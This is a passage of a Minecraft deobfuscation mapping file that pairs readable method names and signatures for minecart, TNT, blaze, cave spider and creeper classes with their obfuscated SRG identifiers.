net/minecraft/entity/item/EntityMinecart/getDefaultDisplayTileOffset ()I net/minecraft/entity/item/EntityMinecart/func_94085_r ()I +MD: net/minecraft/entity/item/EntityMinecart/hasDisplayTile ()Z net/minecraft/entity/item/EntityMinecart/func_94100_s ()Z +MD: net/minecraft/entity/item/EntityMinecartChest/killMinecart (Lnet/minecraft/util/DamageSource;)V net/minecraft/entity/item/EntityMinecartChest/func_94095_a (Lnet/minecraft/util/DamageSource;)V +MD: net/minecraft/entity/item/EntityMinecartChest/createContainer (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; net/minecraft/entity/item/EntityMinecartChest/func_174876_a (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; +MD: net/minecraft/entity/item/EntityMinecartChest/getGuiID ()Ljava/lang/String; net/minecraft/entity/item/EntityMinecartChest/func_174875_k ()Ljava/lang/String; +MD: net/minecraft/entity/item/EntityMinecartChest/getSizeInventory ()I net/minecraft/entity/item/EntityMinecartChest/func_70302_i_ ()I +MD: net/minecraft/entity/item/EntityMinecartChest/getMinecartType ()Lnet/minecraft/entity/item/EntityMinecart$EnumMinecartType; net/minecraft/entity/item/EntityMinecartChest/func_180456_s ()Lnet/minecraft/entity/item/EntityMinecart$EnumMinecartType; +MD: net/minecraft/entity/item/EntityMinecartChest/getDefaultDisplayTile ()Lnet/minecraft/block/state/IBlockState; net/minecraft/entity/item/EntityMinecartChest/func_180457_u ()Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/entity/item/EntityMinecartChest/getDefaultDisplayTileOffset ()I net/minecraft/entity/item/EntityMinecartChest/func_94085_r ()I +MD: net/minecraft/entity/EntityMinecartCommandBlock$1/func_145757_a (Lio/netty/buffer/ByteBuf;)V net/minecraft/entity/EntityMinecartCommandBlock$1/func_145757_a (Lio/netty/buffer/ByteBuf;)V +MD: net/minecraft/entity/EntityMinecartCommandBlock$1/getPosition ()Lnet/minecraft/util/BlockPos; net/minecraft/entity/EntityMinecartCommandBlock$1/func_180425_c ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/entity/EntityMinecartCommandBlock$1/getPositionVector ()Lnet/minecraft/util/Vec3; net/minecraft/entity/EntityMinecartCommandBlock$1/func_174791_d ()Lnet/minecraft/util/Vec3; +MD: net/minecraft/entity/EntityMinecartCommandBlock$1/getEntityWorld ()Lnet/minecraft/world/World; net/minecraft/entity/EntityMinecartCommandBlock$1/func_130014_f_ ()Lnet/minecraft/world/World; +MD: net/minecraft/entity/EntityMinecartCommandBlock$1/getCommandSenderEntity ()Lnet/minecraft/entity/Entity; net/minecraft/entity/EntityMinecartCommandBlock$1/func_174793_f ()Lnet/minecraft/entity/Entity; +MD: net/minecraft/entity/EntityMinecartCommandBlock$1/updateCommand ()V net/minecraft/entity/EntityMinecartCommandBlock$1/func_145756_e ()V +MD: net/minecraft/entity/EntityMinecartCommandBlock$1/func_145751_f ()I net/minecraft/entity/EntityMinecartCommandBlock$1/func_145751_f ()I +MD: net/minecraft/entity/EntityMinecartCommandBlock/onActivatorRailPass (IIIZ)V net/minecraft/entity/EntityMinecartCommandBlock/func_96095_a (IIIZ)V +MD: net/minecraft/entity/EntityMinecartCommandBlock/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/EntityMinecartCommandBlock/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/EntityMinecartCommandBlock/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/EntityMinecartCommandBlock/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/EntityMinecartCommandBlock/interactFirst (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/EntityMinecartCommandBlock/func_130002_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/EntityMinecartCommandBlock/entityInit ()V net/minecraft/entity/EntityMinecartCommandBlock/func_70088_a ()V +MD: net/minecraft/entity/EntityMinecartCommandBlock/onDataWatcherUpdate (I)V net/minecraft/entity/EntityMinecartCommandBlock/func_145781_i (I)V +MD: net/minecraft/entity/EntityMinecartCommandBlock/getCommandBlockLogic ()Lnet/minecraft/command/server/CommandBlockLogic; net/minecraft/entity/EntityMinecartCommandBlock/func_145822_e ()Lnet/minecraft/command/server/CommandBlockLogic; +MD: net/minecraft/entity/EntityMinecartCommandBlock/getMinecartType ()Lnet/minecraft/entity/item/EntityMinecart$EnumMinecartType; net/minecraft/entity/EntityMinecartCommandBlock/func_180456_s ()Lnet/minecraft/entity/item/EntityMinecart$EnumMinecartType; +MD: net/minecraft/entity/EntityMinecartCommandBlock/getDefaultDisplayTile ()Lnet/minecraft/block/state/IBlockState; net/minecraft/entity/EntityMinecartCommandBlock/func_180457_u ()Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/entity/item/EntityMinecartContainer/setDead ()V net/minecraft/entity/item/EntityMinecartContainer/func_70106_y ()V +MD: net/minecraft/entity/item/EntityMinecartContainer/getStackInSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/entity/item/EntityMinecartContainer/func_70301_a (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/item/EntityMinecartContainer/decrStackSize (II)Lnet/minecraft/item/ItemStack; net/minecraft/entity/item/EntityMinecartContainer/func_70298_a (II)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/item/EntityMinecartContainer/setInventorySlotContents (ILnet/minecraft/item/ItemStack;)V net/minecraft/entity/item/EntityMinecartContainer/func_70299_a (ILnet/minecraft/item/ItemStack;)V +MD: net/minecraft/entity/item/EntityMinecartContainer/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityMinecartContainer/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityMinecartContainer/setLockCode (Lnet/minecraft/world/LockCode;)V net/minecraft/entity/item/EntityMinecartContainer/func_174892_a (Lnet/minecraft/world/LockCode;)V +MD: net/minecraft/entity/item/EntityMinecartContainer/killMinecart (Lnet/minecraft/util/DamageSource;)V net/minecraft/entity/item/EntityMinecartContainer/func_94095_a (Lnet/minecraft/util/DamageSource;)V +MD: net/minecraft/entity/item/EntityMinecartContainer/isUseableByPlayer (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/item/EntityMinecartContainer/func_70300_a (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/item/EntityMinecartContainer/getField (I)I net/minecraft/entity/item/EntityMinecartContainer/func_174887_a_ (I)I +MD: net/minecraft/entity/item/EntityMinecartContainer/removeStackFromSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/entity/item/EntityMinecartContainer/func_70304_b (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/item/EntityMinecartContainer/setField (II)V net/minecraft/entity/item/EntityMinecartContainer/func_174885_b (II)V +MD: net/minecraft/entity/item/EntityMinecartContainer/isItemValidForSlot (ILnet/minecraft/item/ItemStack;)Z net/minecraft/entity/item/EntityMinecartContainer/func_94041_b (ILnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/entity/item/EntityMinecartContainer/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityMinecartContainer/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityMinecartContainer/openInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/entity/item/EntityMinecartContainer/func_174889_b (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/entity/item/EntityMinecartContainer/travelToDimension (I)V net/minecraft/entity/item/EntityMinecartContainer/func_71027_c (I)V +MD: net/minecraft/entity/item/EntityMinecartContainer/closeInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/entity/item/EntityMinecartContainer/func_174886_c (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/entity/item/EntityMinecartContainer/interactFirst (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/item/EntityMinecartContainer/func_130002_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/item/EntityMinecartContainer/getName ()Ljava/lang/String; net/minecraft/entity/item/EntityMinecartContainer/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/entity/item/EntityMinecartContainer/getFieldCount ()I net/minecraft/entity/item/EntityMinecartContainer/func_174890_g ()I +MD: net/minecraft/entity/item/EntityMinecartContainer/getLockCode ()Lnet/minecraft/world/LockCode; net/minecraft/entity/item/EntityMinecartContainer/func_174891_i ()Lnet/minecraft/world/LockCode; +MD: net/minecraft/entity/item/EntityMinecartContainer/clear ()V net/minecraft/entity/item/EntityMinecartContainer/func_174888_l ()V +MD: net/minecraft/entity/item/EntityMinecartContainer/applyDrag ()V net/minecraft/entity/item/EntityMinecartContainer/func_94101_h ()V +MD: net/minecraft/entity/item/EntityMinecartContainer/markDirty ()V net/minecraft/entity/item/EntityMinecartContainer/func_70296_d ()V +MD: net/minecraft/entity/item/EntityMinecartContainer/getInventoryStackLimit ()I net/minecraft/entity/item/EntityMinecartContainer/func_70297_j_ ()I +MD: net/minecraft/entity/item/EntityMinecartContainer/isLocked ()Z net/minecraft/entity/item/EntityMinecartContainer/func_174893_q_ ()Z +MD: net/minecraft/entity/item/EntityMinecartFurnace/func_180460_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/entity/item/EntityMinecartFurnace/func_180460_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/entity/item/EntityMinecartFurnace/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityMinecartFurnace/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityMinecartFurnace/killMinecart (Lnet/minecraft/util/DamageSource;)V net/minecraft/entity/item/EntityMinecartFurnace/func_94095_a (Lnet/minecraft/util/DamageSource;)V +MD: net/minecraft/entity/item/EntityMinecartFurnace/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityMinecartFurnace/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityMinecartFurnace/interactFirst (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/item/EntityMinecartFurnace/func_130002_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/item/EntityMinecartFurnace/entityInit ()V net/minecraft/entity/item/EntityMinecartFurnace/func_70088_a ()V +MD: net/minecraft/entity/item/EntityMinecartFurnace/setMinecartPowered (Z)V net/minecraft/entity/item/EntityMinecartFurnace/func_94107_f (Z)V +MD: net/minecraft/entity/item/EntityMinecartFurnace/isMinecartPowered ()Z net/minecraft/entity/item/EntityMinecartFurnace/func_94108_c ()Z +MD: net/minecraft/entity/item/EntityMinecartFurnace/getMaximumSpeed ()D net/minecraft/entity/item/EntityMinecartFurnace/func_174898_m ()D +MD: net/minecraft/entity/item/EntityMinecartFurnace/applyDrag ()V net/minecraft/entity/item/EntityMinecartFurnace/func_94101_h ()V +MD: net/minecraft/entity/item/EntityMinecartFurnace/getMinecartType ()Lnet/minecraft/entity/item/EntityMinecart$EnumMinecartType; net/minecraft/entity/item/EntityMinecartFurnace/func_180456_s ()Lnet/minecraft/entity/item/EntityMinecart$EnumMinecartType; +MD: net/minecraft/entity/item/EntityMinecartFurnace/onUpdate ()V net/minecraft/entity/item/EntityMinecartFurnace/func_70071_h_ ()V +MD: net/minecraft/entity/item/EntityMinecartFurnace/getDefaultDisplayTile ()Lnet/minecraft/block/state/IBlockState; net/minecraft/entity/item/EntityMinecartFurnace/func_180457_u ()Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/entity/item/EntityMinecartHopper/getXPos ()D net/minecraft/entity/item/EntityMinecartHopper/func_96107_aA ()D +MD: net/minecraft/entity/item/EntityMinecartHopper/getYPos ()D net/minecraft/entity/item/EntityMinecartHopper/func_96109_aB ()D +MD: net/minecraft/entity/item/EntityMinecartHopper/getZPos ()D net/minecraft/entity/item/EntityMinecartHopper/func_96108_aC ()D +MD: net/minecraft/entity/item/EntityMinecartHopper/func_96112_aD ()Z net/minecraft/entity/item/EntityMinecartHopper/func_96112_aD ()Z +MD: net/minecraft/entity/item/EntityMinecartHopper/canTransfer ()Z net/minecraft/entity/item/EntityMinecartHopper/func_98043_aE ()Z +MD: net/minecraft/entity/item/EntityMinecartHopper/onActivatorRailPass (IIIZ)V net/minecraft/entity/item/EntityMinecartHopper/func_96095_a (IIIZ)V +MD: net/minecraft/entity/item/EntityMinecartHopper/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityMinecartHopper/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityMinecartHopper/killMinecart (Lnet/minecraft/util/DamageSource;)V net/minecraft/entity/item/EntityMinecartHopper/func_94095_a (Lnet/minecraft/util/DamageSource;)V +MD: net/minecraft/entity/item/EntityMinecartHopper/createContainer (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; net/minecraft/entity/item/EntityMinecartHopper/func_174876_a (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; +MD: net/minecraft/entity/item/EntityMinecartHopper/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityMinecartHopper/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityMinecartHopper/interactFirst (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/item/EntityMinecartHopper/func_130002_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/item/EntityMinecartHopper/setBlocked (Z)V net/minecraft/entity/item/EntityMinecartHopper/func_96110_f (Z)V +MD: net/minecraft/entity/item/EntityMinecartHopper/getGuiID ()Ljava/lang/String; net/minecraft/entity/item/EntityMinecartHopper/func_174875_k ()Ljava/lang/String; +MD: net/minecraft/entity/item/EntityMinecartHopper/setTransferTicker (I)V net/minecraft/entity/item/EntityMinecartHopper/func_98042_n (I)V +MD: net/minecraft/entity/item/EntityMinecartHopper/getSizeInventory ()I net/minecraft/entity/item/EntityMinecartHopper/func_70302_i_ ()I +MD: net/minecraft/entity/item/EntityMinecartHopper/getMinecartType ()Lnet/minecraft/entity/item/EntityMinecart$EnumMinecartType; net/minecraft/entity/item/EntityMinecartHopper/func_180456_s ()Lnet/minecraft/entity/item/EntityMinecart$EnumMinecartType; +MD: net/minecraft/entity/item/EntityMinecartHopper/onUpdate ()V net/minecraft/entity/item/EntityMinecartHopper/func_70071_h_ ()V +MD: net/minecraft/entity/item/EntityMinecartHopper/getDefaultDisplayTile ()Lnet/minecraft/block/state/IBlockState; net/minecraft/entity/item/EntityMinecartHopper/func_180457_u ()Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/entity/item/EntityMinecartHopper/getDefaultDisplayTileOffset ()I net/minecraft/entity/item/EntityMinecartHopper/func_94085_r ()I +MD: net/minecraft/entity/item/EntityMinecartHopper/getBlocked ()Z net/minecraft/entity/item/EntityMinecartHopper/func_96111_ay ()Z +MD: net/minecraft/entity/item/EntityMinecartHopper/getWorld ()Lnet/minecraft/world/World; net/minecraft/entity/item/EntityMinecartHopper/func_145831_w ()Lnet/minecraft/world/World; +MD: net/minecraft/entity/item/EntityMinecartEmpty/onActivatorRailPass (IIIZ)V net/minecraft/entity/item/EntityMinecartEmpty/func_96095_a (IIIZ)V +MD: net/minecraft/entity/item/EntityMinecartEmpty/interactFirst (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/item/EntityMinecartEmpty/func_130002_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/item/EntityMinecartEmpty/getMinecartType ()Lnet/minecraft/entity/item/EntityMinecart$EnumMinecartType; net/minecraft/entity/item/EntityMinecartEmpty/func_180456_s ()Lnet/minecraft/entity/item/EntityMinecart$EnumMinecartType; +MD: net/minecraft/entity/ai/EntityMinecartMobSpawner$1/getSpawnerWorld ()Lnet/minecraft/world/World; net/minecraft/entity/ai/EntityMinecartMobSpawner$1/func_98271_a ()Lnet/minecraft/world/World; +MD: net/minecraft/entity/ai/EntityMinecartMobSpawner$1/func_98267_a (I)V net/minecraft/entity/ai/EntityMinecartMobSpawner$1/func_98267_a (I)V +MD: net/minecraft/entity/ai/EntityMinecartMobSpawner$1/getSpawnerPosition ()Lnet/minecraft/util/BlockPos; net/minecraft/entity/ai/EntityMinecartMobSpawner$1/func_177221_b ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/entity/ai/EntityMinecartMobSpawner/handleStatusUpdate (B)V net/minecraft/entity/ai/EntityMinecartMobSpawner/func_70103_a (B)V +MD: net/minecraft/entity/ai/EntityMinecartMobSpawner/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/ai/EntityMinecartMobSpawner/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/ai/EntityMinecartMobSpawner/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/ai/EntityMinecartMobSpawner/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/ai/EntityMinecartMobSpawner/func_98039_d ()Lnet/minecraft/tileentity/MobSpawnerBaseLogic; net/minecraft/entity/ai/EntityMinecartMobSpawner/func_98039_d ()Lnet/minecraft/tileentity/MobSpawnerBaseLogic; +MD: net/minecraft/entity/ai/EntityMinecartMobSpawner/getMinecartType ()Lnet/minecraft/entity/item/EntityMinecart$EnumMinecartType; net/minecraft/entity/ai/EntityMinecartMobSpawner/func_180456_s ()Lnet/minecraft/entity/item/EntityMinecart$EnumMinecartType; +MD: net/minecraft/entity/ai/EntityMinecartMobSpawner/onUpdate ()V net/minecraft/entity/ai/EntityMinecartMobSpawner/func_70071_h_ ()V +MD: net/minecraft/entity/ai/EntityMinecartMobSpawner/getDefaultDisplayTile ()Lnet/minecraft/block/state/IBlockState; net/minecraft/entity/ai/EntityMinecartMobSpawner/func_180457_u ()Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/entity/item/EntityMinecartTNT/handleStatusUpdate (B)V net/minecraft/entity/item/EntityMinecartTNT/func_70103_a (B)V +MD: net/minecraft/entity/item/EntityMinecartTNT/onActivatorRailPass (IIIZ)V net/minecraft/entity/item/EntityMinecartTNT/func_96095_a (IIIZ)V +MD: net/minecraft/entity/item/EntityMinecartTNT/getExplosionResistance (Lnet/minecraft/world/Explosion;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)F net/minecraft/entity/item/EntityMinecartTNT/func_180428_a (Lnet/minecraft/world/Explosion;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)F +MD: net/minecraft/entity/item/EntityMinecartTNT/verifyExplosion (Lnet/minecraft/world/Explosion;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;F)Z net/minecraft/entity/item/EntityMinecartTNT/func_174816_a (Lnet/minecraft/world/Explosion;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;F)Z +MD: net/minecraft/entity/item/EntityMinecartTNT/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityMinecartTNT/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityMinecartTNT/killMinecart (Lnet/minecraft/util/DamageSource;)V net/minecraft/entity/item/EntityMinecartTNT/func_94095_a (Lnet/minecraft/util/DamageSource;)V +MD: net/minecraft/entity/item/EntityMinecartTNT/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/item/EntityMinecartTNT/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/item/EntityMinecartTNT/explodeCart (D)V net/minecraft/entity/item/EntityMinecartTNT/func_94103_c (D)V +MD: net/minecraft/entity/item/EntityMinecartTNT/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityMinecartTNT/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityMinecartTNT/fall (FF)V net/minecraft/entity/item/EntityMinecartTNT/func_180430_e (FF)V +MD: net/minecraft/entity/item/EntityMinecartTNT/ignite ()V net/minecraft/entity/item/EntityMinecartTNT/func_94105_c ()V +MD: net/minecraft/entity/item/EntityMinecartTNT/getFuseTicks ()I net/minecraft/entity/item/EntityMinecartTNT/func_94104_d ()I +MD: net/minecraft/entity/item/EntityMinecartTNT/getMinecartType ()Lnet/minecraft/entity/item/EntityMinecart$EnumMinecartType; net/minecraft/entity/item/EntityMinecartTNT/func_180456_s ()Lnet/minecraft/entity/item/EntityMinecart$EnumMinecartType; +MD: net/minecraft/entity/item/EntityMinecartTNT/onUpdate ()V net/minecraft/entity/item/EntityMinecartTNT/func_70071_h_ ()V +MD: net/minecraft/entity/item/EntityMinecartTNT/getDefaultDisplayTile ()Lnet/minecraft/block/state/IBlockState; net/minecraft/entity/item/EntityMinecartTNT/func_180457_u ()Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/entity/item/EntityMinecartTNT/isIgnited ()Z net/minecraft/entity/item/EntityMinecartTNT/func_96096_ay ()Z +MD: net/minecraft/entity/item/EntityTNTPrimed/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityTNTPrimed/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityTNTPrimed/getEyeHeight ()F net/minecraft/entity/item/EntityTNTPrimed/func_70047_e ()F +MD: net/minecraft/entity/item/EntityTNTPrimed/canBeCollidedWith ()Z net/minecraft/entity/item/EntityTNTPrimed/func_70067_L ()Z +MD: net/minecraft/entity/item/EntityTNTPrimed/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityTNTPrimed/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityTNTPrimed/entityInit ()V net/minecraft/entity/item/EntityTNTPrimed/func_70088_a ()V +MD: net/minecraft/entity/item/EntityTNTPrimed/getTntPlacedBy ()Lnet/minecraft/entity/EntityLivingBase; net/minecraft/entity/item/EntityTNTPrimed/func_94083_c ()Lnet/minecraft/entity/EntityLivingBase; +MD: net/minecraft/entity/item/EntityTNTPrimed/explode ()V net/minecraft/entity/item/EntityTNTPrimed/func_70515_d ()V +MD: net/minecraft/entity/item/EntityTNTPrimed/canTriggerWalking ()Z net/minecraft/entity/item/EntityTNTPrimed/func_70041_e_ ()Z +MD: net/minecraft/entity/item/EntityTNTPrimed/onUpdate ()V net/minecraft/entity/item/EntityTNTPrimed/func_70071_h_ ()V +MD: net/minecraft/entity/monster/EntityBlaze$AIFireballAttack/shouldExecute ()Z net/minecraft/entity/monster/EntityBlaze$AIFireballAttack/func_75250_a ()Z +MD: net/minecraft/entity/monster/EntityBlaze$AIFireballAttack/startExecuting ()V net/minecraft/entity/monster/EntityBlaze$AIFireballAttack/func_75249_e ()V +MD: net/minecraft/entity/monster/EntityBlaze$AIFireballAttack/resetTask ()V net/minecraft/entity/monster/EntityBlaze$AIFireballAttack/func_75251_c ()V +MD: net/minecraft/entity/monster/EntityBlaze$AIFireballAttack/updateTask ()V net/minecraft/entity/monster/EntityBlaze$AIFireballAttack/func_75246_d ()V +MD: net/minecraft/entity/monster/EntityBlaze/getDropItem ()Lnet/minecraft/item/Item; net/minecraft/entity/monster/EntityBlaze/func_146068_u ()Lnet/minecraft/item/Item; +MD: net/minecraft/entity/monster/EntityBlaze/updateAITasks ()V net/minecraft/entity/monster/EntityBlaze/func_70619_bc ()V +MD: net/minecraft/entity/monster/EntityBlaze/setOnFire (Z)V net/minecraft/entity/monster/EntityBlaze/func_70844_e (Z)V +MD: net/minecraft/entity/monster/EntityBlaze/applyEntityAttributes ()V net/minecraft/entity/monster/EntityBlaze/func_110147_ax ()V +MD: net/minecraft/entity/monster/EntityBlaze/isBurning ()Z net/minecraft/entity/monster/EntityBlaze/func_70027_ad ()Z +MD: net/minecraft/entity/monster/EntityBlaze/getBrightnessForRender (F)I net/minecraft/entity/monster/EntityBlaze/func_70070_b (F)I +MD: net/minecraft/entity/monster/EntityBlaze/dropFewItems (ZI)V net/minecraft/entity/monster/EntityBlaze/func_70628_a (ZI)V +MD: net/minecraft/entity/monster/EntityBlaze/getHurtSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityBlaze/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityBlaze/getDeathSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityBlaze/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityBlaze/getBrightness (F)F net/minecraft/entity/monster/EntityBlaze/func_70013_c (F)F +MD: net/minecraft/entity/monster/EntityBlaze/fall (FF)V net/minecraft/entity/monster/EntityBlaze/func_180430_e (FF)V +MD: net/minecraft/entity/monster/EntityBlaze/entityInit ()V net/minecraft/entity/monster/EntityBlaze/func_70088_a ()V +MD: net/minecraft/entity/monster/EntityBlaze/onLivingUpdate ()V net/minecraft/entity/monster/EntityBlaze/func_70636_d ()V +MD: net/minecraft/entity/monster/EntityBlaze/func_70845_n ()Z net/minecraft/entity/monster/EntityBlaze/func_70845_n ()Z +MD: net/minecraft/entity/monster/EntityBlaze/isValidLightLevel ()Z net/minecraft/entity/monster/EntityBlaze/func_70814_o ()Z +MD: net/minecraft/entity/monster/EntityBlaze/getLivingSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityBlaze/func_70639_aQ ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityCaveSpider/onInitialSpawn (Lnet/minecraft/world/DifficultyInstance;Lnet/minecraft/entity/IEntityLivingData;)Lnet/minecraft/entity/IEntityLivingData; net/minecraft/entity/monster/EntityCaveSpider/func_180482_a (Lnet/minecraft/world/DifficultyInstance;Lnet/minecraft/entity/IEntityLivingData;)Lnet/minecraft/entity/IEntityLivingData; +MD: net/minecraft/entity/monster/EntityCaveSpider/getEyeHeight ()F net/minecraft/entity/monster/EntityCaveSpider/func_70047_e ()F +MD: net/minecraft/entity/monster/EntityCaveSpider/applyEntityAttributes ()V net/minecraft/entity/monster/EntityCaveSpider/func_110147_ax ()V +MD: net/minecraft/entity/monster/EntityCaveSpider/attackEntityAsMob (Lnet/minecraft/entity/Entity;)Z net/minecraft/entity/monster/EntityCaveSpider/func_70652_k (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/entity/monster/EntityCreeper/getDropItem ()Lnet/minecraft/item/Item; net/minecraft/entity/monster/EntityCreeper/func_146068_u ()Lnet/minecraft/item/Item; +MD: net/minecraft/entity/monster/EntityCreeper/getCreeperFlashIntensity (F)F net/minecraft/entity/monster/EntityCreeper/func_70831_j (F)F +MD: net/minecraft/entity/monster/EntityCreeper/setCreeperState (I)V net/minecraft/entity/monster/EntityCreeper/func_70829_a (I)V +MD: net/minecraft/entity/monster/EntityCreeper/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/monster/EntityCreeper/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/monster/EntityCreeper/onDeath (Lnet/minecraft/util/DamageSource;)V net/minecraft/entity/monster/EntityCreeper/func_70645_a (Lnet/minecraft/util/DamageSource;)V +MD: net/minecraft/entity/monster/EntityCreeper/onStruckByLightning (Lnet/minecraft/entity/effect/EntityLightningBolt;)V net/minecraft/entity/monster/EntityCreeper/func_70077_a (Lnet/minecraft/entity/effect/EntityLightningBolt;)V +MD: net/minecraft/entity/monster/EntityCreeper/interact (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/monster/EntityCreeper/func_70085_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/monster/EntityCreeper/getMaxFallHeight ()I net/minecraft/entity/monster/EntityCreeper/func_82143_as ()I +MD: net/minecraft/entity/monster/EntityCreeper/applyEntityAttributes ()V net/minecraft/entity/monster/EntityCreeper/func_110147_ax ()V +MD: net/minecraft/entity/monster/EntityCreeper/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/monster/EntityCreeper/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/monster/EntityCreeper/getHurtSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityCreeper/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityCreeper/getDeathSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityCreeper/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityCreeper/getCreeperState ()I net/minecraft/entity/monster/EntityCreeper/func_70832_p ()I +MD: net/minecraft/entity/monster/EntityCreeper/hasIgnited ()Z net/minecraft/entity/monster/EntityCreeper/func_146078_ca ()Z +MD: 